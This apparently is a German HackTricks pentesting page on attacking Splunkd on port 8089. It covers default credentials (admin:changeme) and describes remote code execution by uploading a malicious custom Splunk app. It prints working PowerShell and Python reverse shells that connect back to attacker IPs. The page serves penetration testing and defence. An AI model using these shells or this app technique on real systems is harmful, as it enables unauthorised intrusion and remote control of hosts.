8089 - Pentesting Splunkd
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundinformationen
- Log-Analyse-Tool zur Datensammlung, Analyse und Visualisierung
- Häufig verwendet in der Sicherheitsüberwachung und Geschäftsanalytik
- Standardports:
- Webserver: 8000
- Splunkd-Dienst: 8089
Schwachstellenvektoren:
- Ausnutzung der kostenlosen Version
- Testversion wird nach 60 Tagen automatisch in die kostenlose Version umgewandelt
- Kostenlose Version hat keine Authentifizierung
- Potenzielles Sicherheitsrisiko, wenn sie nicht verwaltet wird
- Administratoren könnten die Sicherheitsimplikationen übersehen
- Anmeldeinformationen-Schwächen
- Ältere Versionen: Standardanmeldeinformationen
admin:changeme
- Neuere Versionen: Anmeldeinformationen werden während der Installation festgelegt
- Potenzial für die Verwendung schwacher Passwörter (z.B.
admin
,Welcome
,Password123
)
- Möglichkeiten zur Remote-Code-Ausführung
- Mehrere Methoden zur Codeausführung:
- Serverseitige Django-Anwendungen
- REST-Endpunkte
- Skripteingaben
- Alarmierungsskripte
- Plattformübergreifende Unterstützung (Windows/Linux)
- Skripteingaben können ausführen:
- Bash-Skripte
- PowerShell-Skripte
- Batch-Skripte
Wichtiges Ausnutzungspotenzial:
- Speicherung sensibler Daten
- Fehlende Authentifizierung in der kostenlosen Version
- Mehrere Vektoren für potenzielle Remote-Code-Ausführung
- Möglichkeit, Skripteingaben für die Kompromittierung des Systems zu nutzen
Shodan
Splunk build
RCE
Erstellen einer benutzerdefinierten Anwendung
Splunk bietet eine ausgeklügelte Methode zur Remote-Code-Ausführung durch die Bereitstellung benutzerdefinierter Anwendungen, die seine plattformübergreifenden Skriptingfähigkeiten nutzen. Die grundlegende Ausnutzungstechnik dreht sich um die Erstellung einer bösartigen Anwendung, die Reverse Shells auf sowohl Windows- als auch Linux-Systemen ausführen kann.
Eine benutzerdefinierte Anwendung kann Python, Batch, Bash oder PowerShell-Skripte ausführen. Darüber hinaus kommt Splunk mit installiertem Python, sodass Sie selbst auf Windows-Systemen Python-Code ausführen können.
Sie können dieses Beispiel mit dem bin
verwenden, das Beispiele für Python und PowerShell enthält. Oder Sie könnten Ihre eigene erstellen.
Der Ausnutzungsprozess folgt einer konsistenten Methodik über Plattformen hinweg:
splunk_shell/
├── bin (reverse shell scripts)
└── default (inputs.conf configuration)
Die kritische Konfigurationsdatei inputs.conf
aktiviert das Skript durch:
- Festlegen von
disabled = 0
- Konfigurieren eines 10-Sekunden-Ausführungsintervalls
- Definieren des Quelltyps des Skripts
Die Bereitstellung ist unkompliziert:
- Erstellen Sie das bösartige Anwendungs-Paket
- Richten Sie einen Listener (Netcat/socat) auf der angreifenden Maschine ein
- Laden Sie die Anwendung über die Schnittstelle von Splunk hoch
- Auslösen der automatischen Skriptausführung nach dem Hochladen
Beispiel für eine Windows PowerShell Reverse Shell:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
Beispiel für eine Linux Python Reverse Shell:
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
RCE & Privilegieneskalation
Auf der folgenden Seite finden Sie eine Erklärung, wie dieser Dienst missbraucht werden kann, um Privilegien zu eskalieren und Persistenz zu erlangen:
Referenzen
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.